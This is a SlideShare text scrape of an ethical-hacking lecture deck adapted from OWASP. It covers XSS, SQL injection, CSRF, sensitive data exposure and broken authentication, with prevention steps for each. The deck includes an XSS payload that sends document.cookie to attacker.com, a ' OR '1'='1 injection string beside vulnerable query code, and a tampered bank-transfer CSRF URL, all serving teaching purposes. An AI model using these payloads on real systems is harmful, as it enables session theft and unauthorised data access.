SlideShare a Scribd company logo
1 of 20
Download to read offline
HACKING THE WEB
CONTENT LOVINGLY RIPPED
FROM OWASP.ORG
CROSS SITE SCRIPTINGL HACKING RGU ETH
GU ETHICAL HACKING RGU ETHICAL HACKIN
SQL INJECTIONHACKING RGU ETHICAL HACK
NGRGU ETHICAL HACKINGRGU ETHICAL HAC
COOKIE EDITINGACKING RGU ETHICAL HACK
RGU ETHICAL HACKINGRGU ETHICAL HACKI
CROSS SITE REQUEST FORGERYL HACKING
CKINGRGU ETHICAL HACKINGRGU ETHICAL
HACKINGRGU ETHICAL HACKINGRGU ETHIC
SENSITIVE DATA EXPOSURE RGU ETHICAING
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
L HACKING RGU ETH
GU ETHICAL HACKING RGU ETHICAL HACKIN
HACKING RGU ETHICAL HACK
NGRGU ETHICAL HACKINGRGU ETHICAL HAC
ACKING RGU ETHICAL HACK
RGU ETHICAL HACKINGRGU ETHICAL HACKI
L HACKING
CKINGRGU ETHICAL HACKINGRGU ETHICAL
HACKINGRGU ETHICAL HACKINGRGU ETHIC
RGU ETHICAING
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
ATTACK
ATTACK
ATTACK
WEAKNESS
WEAKNESS
WEAKNESS
WEAKNESS
CONTROL
CONTROL
ASSETS
FUNCTIONS
Threat

Agents
Attack

Vectors
Security

Weaknesses
Security

Controls
Technical

Impacts
Business

Impacts
ATTACK
WEAKNESS
CONTROL
FUNCTIONS
IMPACT
IMPACT
IMPACTIMPACT
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Security

Controls
Technical

Impacts
Business

Impacts
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
DIFFICULT
UNCOMMON
AVERAGE
SEVERE
APPLICATION SPECIFIC
Prevalence
Detectability
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
DIFFICULT
UNCOMMON
AVERAGE
SEVERE
APPLICATION SPECIFIC
Prevalence
Detectability
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
STEPS TO PREVENT
Considering the threats you plan to protect this data from (e.g., insider attack,
external user), make sure you encrypt all sensitive data at rest and in transit in a
manner that defends against these threats.
Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you
don’t have can’t be stolen.
Ensure strong standard algorithms and strong keys are used, and proper key
management is in place.
Ensure passwords are stored with an algorithm specifically designed for password
protection, such as bcrypt, PBKDF2, or scrypt.
Disable autocomplete on forms collecting sensitive data and disable caching for
pages that contain sensitive data.
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
AVERAGE
COMMON
EASY
MODERATE
APPLICATION SPECIFIC
Prevalence
Detectability
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
AVERAGE
COMMON
EASY
MODERATE
APPLICATION SPECIFIC
Prevalence
Detectability
HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500
HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000
VERY EASY ATTACK. SOMETHING LIKE THIS…
CAN BE CHANGED TO THIS
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
STEPS TO PREVENT
The preferred option is to include the unique token in a hidden field. This causes the
value to be sent in the body of the HTTP request, avoiding its inclusion in the URL,
which is more prone to exposure.
The unique token can also be included in the URL itself, or a URL parameter.
However, such placement runs a greater risk that the URL will be exposed to an
attacker, thus compromising the secret token.
Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA)
can also protect against CSRF.
Easiest fix, when dealing with forms, is to change it from GET to POST
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
AVERAGE
WIDESPREAD
AVERAGE
SEVERE
APPLICATION SPECIFIC
Prevalence
Detectability
BROKEN
AUTHENTICATION
AND SESSION
MANAGEMENT
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
STEPS TO PREVENT
The primary recommendation for an organisation is to make available to
developers:
A single set of strong authentication and session management controls. Such
controls should strive to:
1. meet all the authentication and session management requirements defined in
OWASP’s Application Security Verification Standard (ASVS) areas V2
(Authentication) and V3 (Session Management).
2. have a simple interface for developers. Consider the ESAPI Authenticator and
User APIs as good examples to emulate, use, or build upon.
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
EASY
COMMON
AVERAGE
SEVERE
APPLICATION SPECIFIC
Prevalence
Detectability
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
EASY
COMMON
AVERAGE
SEVERE
APPLICATION SPECIFIC
Prevalence
Detectability
STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'";
HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
EASY
COMMON
AVERAGE
SEVERE
APPLICATION SPECIFIC
Prevalence
Detectability
STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'";
HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
STEPS TO PREVENT
Preventing injection requires keeping untrusted data separate from commands and
queries.
The preferred option is to use a safe API which avoids the use of the interpreter
entirely or provides a parameterised interface. Be careful with APIs, such as stored
procedures, that are parameterised, but can still introduce injection under the hood.
If a parameterised API is not available, you should carefully escape special
characters using the specific escape syntax for that interpreter. OWASP’s ESAPI
provides many of these escaping routines.
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
Threat

Agents
Attack

Vectors
Security

Weaknesses
Technical

Impacts
Business

Impacts
APPLICATION SPECIFIC
AVERAGE
VERY WIDESPREAD
EASY
MODERATE
APPLICATION SPECIFIC
Prevalence
Detectability
(STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" +
REQUEST.GETPARAMETER("CC") + "'>";
'><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ?
FOO='+DOCUMENT.COOKIE</SCRIPT>'.
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING
RGU ETHICAL HACKING RGU ETHICAL HA
AL HACKING RGU ETHICAL HACKING
RGU ETHICAL HACKING RGU ETHICAL HACKING
HICAL HACKING
RGU ETHICAL HACKINGKING
RGU ETHICAL H
RGU ETHICA
RGU E
STEPS TO PREVENT
Preferred option is to properly escape all untrusted data based on the HTML context
(body, attribute, JavaScript, CSS, or URL) that the data will be placed into.
Positive or “whitelist” input validation is also recommended as it helps protect
against XSS, but is not a complete defense as many applications require special
characters in their input. For rich content, consider auto-sanitization libraries like the
Java HTML Sanitizer Project.
Consider Content Security Policy (CSP) to defend against XSS across your entire site.
CROSS SITE SCRIPTING
SQL INJECTION
CROSS SITE REQUEST FORGERY
SENSITIVE DATA EXPOSURE
COOKIE EDITING

More Related Content

What's hot

Cyber security awareness for students
Cyber security awareness for studentsCyber security awareness for students
Cyber security awareness for studentsKandarp Shah
 
Creating an Interactive Content Strategy that Works with Technology
Creating an Interactive Content Strategy that Works with TechnologyCreating an Interactive Content Strategy that Works with Technology
Creating an Interactive Content Strategy that Works with Technologyion interactive
 
Mastering The Fourth Industrial Revolution
Mastering The Fourth Industrial Revolution Mastering The Fourth Industrial Revolution
Mastering The Fourth Industrial Revolution Monty C. M. Metzger
 
Social Engineering,social engeineering techniques,social engineering protecti...
Social Engineering,social engeineering techniques,social engineering protecti...Social Engineering,social engeineering techniques,social engineering protecti...
Social Engineering,social engeineering techniques,social engineering protecti...ABHAY PATHAK
 
Cybersecurity Awareness Training
Cybersecurity Awareness TrainingCybersecurity Awareness Training
Cybersecurity Awareness TrainingDave Monahan
 
The Art of Human Hacking : Social Engineering
The Art of Human Hacking : Social Engineering The Art of Human Hacking : Social Engineering
The Art of Human Hacking : Social Engineering OWASP Foundation
 
Social Engineering and What to do About it
Social Engineering and What to do About itSocial Engineering and What to do About it
Social Engineering and What to do About itAleksandr Yampolskiy
 
MSAB XRY ver.9.4 and XAMN ver. 6.pdf
MSAB XRY ver.9.4 and XAMN ver. 6.pdfMSAB XRY ver.9.4 and XAMN ver. 6.pdf
MSAB XRY ver.9.4 and XAMN ver. 6.pdfRASLAKK
 
Social engineering
Social engineeringSocial engineering
Social engineeringVishal Kumar
 
10 SQL Tricks that You Didn't Think Were Possible
10 SQL Tricks that You Didn't Think Were Possible10 SQL Tricks that You Didn't Think Were Possible
10 SQL Tricks that You Didn't Think Were PossibleLukas Eder
 
Mobile Is Eating the World (2016)
Mobile Is Eating the World (2016)Mobile Is Eating the World (2016)
Mobile Is Eating the World (2016)a16z
 
Email phishing and countermeasures
Email phishing and countermeasuresEmail phishing and countermeasures
Email phishing and countermeasuresJorge Sebastiao
 
AI and content strategy - Elle Geraghty Content Strategy.pdf
AI and content strategy - Elle Geraghty Content Strategy.pdfAI and content strategy - Elle Geraghty Content Strategy.pdf
AI and content strategy - Elle Geraghty Content Strategy.pdfElle Geraghty
 
Mobile-First SEO - The Marketers Edition #3XEDigital
Mobile-First SEO - The Marketers Edition #3XEDigitalMobile-First SEO - The Marketers Edition #3XEDigital
Mobile-First SEO - The Marketers Edition #3XEDigitalAleyda Solís
 

What's hot (20)

Maltego Information Gathering
Maltego Information Gathering Maltego Information Gathering
Maltego Information Gathering
 
Cyber security awareness for students
Cyber security awareness for studentsCyber security awareness for students
Cyber security awareness for students
 
Creating an Interactive Content Strategy that Works with Technology
Creating an Interactive Content Strategy that Works with TechnologyCreating an Interactive Content Strategy that Works with Technology
Creating an Interactive Content Strategy that Works with Technology
 
Mastering The Fourth Industrial Revolution
Mastering The Fourth Industrial Revolution Mastering The Fourth Industrial Revolution
Mastering The Fourth Industrial Revolution
 
Social Engineering,social engeineering techniques,social engineering protecti...
Social Engineering,social engeineering techniques,social engineering protecti...Social Engineering,social engeineering techniques,social engineering protecti...
Social Engineering,social engeineering techniques,social engineering protecti...
 
Cybersecurity Awareness Training
Cybersecurity Awareness TrainingCybersecurity Awareness Training
Cybersecurity Awareness Training
 
The Art of Human Hacking : Social Engineering
The Art of Human Hacking : Social Engineering The Art of Human Hacking : Social Engineering
The Art of Human Hacking : Social Engineering
 
Digital forensics
Digital forensicsDigital forensics
Digital forensics
 
Social engineering
Social engineering Social engineering
Social engineering
 
AI as a service
AI as a serviceAI as a service
AI as a service
 
Social Engineering and What to do About it
Social Engineering and What to do About itSocial Engineering and What to do About it
Social Engineering and What to do About it
 
MSAB XRY ver.9.4 and XAMN ver. 6.pdf
MSAB XRY ver.9.4 and XAMN ver. 6.pdfMSAB XRY ver.9.4 and XAMN ver. 6.pdf
MSAB XRY ver.9.4 and XAMN ver. 6.pdf
 
Social engineering
Social engineeringSocial engineering
Social engineering
 
10 SQL Tricks that You Didn't Think Were Possible
10 SQL Tricks that You Didn't Think Were Possible10 SQL Tricks that You Didn't Think Were Possible
10 SQL Tricks that You Didn't Think Were Possible
 
Cyber Warfare -
Cyber Warfare -Cyber Warfare -
Cyber Warfare -
 
Mobile Is Eating the World (2016)
Mobile Is Eating the World (2016)Mobile Is Eating the World (2016)
Mobile Is Eating the World (2016)
 
Carol Scott - Fast Track Your AI Journey.pdf
Carol Scott - Fast Track  Your AI Journey.pdfCarol Scott - Fast Track  Your AI Journey.pdf
Carol Scott - Fast Track Your AI Journey.pdf
 
Email phishing and countermeasures
Email phishing and countermeasuresEmail phishing and countermeasures
Email phishing and countermeasures
 
AI and content strategy - Elle Geraghty Content Strategy.pdf
AI and content strategy - Elle Geraghty Content Strategy.pdfAI and content strategy - Elle Geraghty Content Strategy.pdf
AI and content strategy - Elle Geraghty Content Strategy.pdf
 
Mobile-First SEO - The Marketers Edition #3XEDigital
Mobile-First SEO - The Marketers Edition #3XEDigitalMobile-First SEO - The Marketers Edition #3XEDigital
Mobile-First SEO - The Marketers Edition #3XEDigital
 

Similar to Hacking the Web

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs securityJongseok Choi
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Codemotion
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoidslicklash
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoEoin Keary
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityAlexander Benoit
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals Adnan Rashid
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defenseamiable_indian
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Arthur Paixão
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 

Similar to Hacking the Web (20)

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC Identity
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs security
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoid
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and Manico
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint Security
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
How to use shodan more powerful
How to use shodan more powerful How to use shodan more powerful
How to use shodan more powerful
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 

More from Mike Crabb

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesMike Crabb
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive InterfacesMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review ProcessMike Crabb
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative ResearchMike Crabb
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative DataMike Crabb
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisMike Crabb
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational ResearchMike Crabb
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus GroupsMike Crabb
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing InterviewsMike Crabb
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative ResearchMike Crabb
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible DesignMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph DesignMike Crabb
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map DesignMike Crabb
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level DataMike Crabb
 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentMike Crabb
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowMike Crabb
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHPMike Crabb
 

More from Mike Crabb (20)

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach Places
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive Interfaces
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review Process
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative Research
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative Data
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document Analysis
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational Research
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus Groups
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing Interviews
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative Research
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible Design
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph Design
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map Design
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level Data
 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise Environment
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of Tomorrow
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHP
 

Recently uploaded

MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Victor Rentea
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Zilliz
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProduct Anonymous
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistandanishmna97
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Zilliz
 
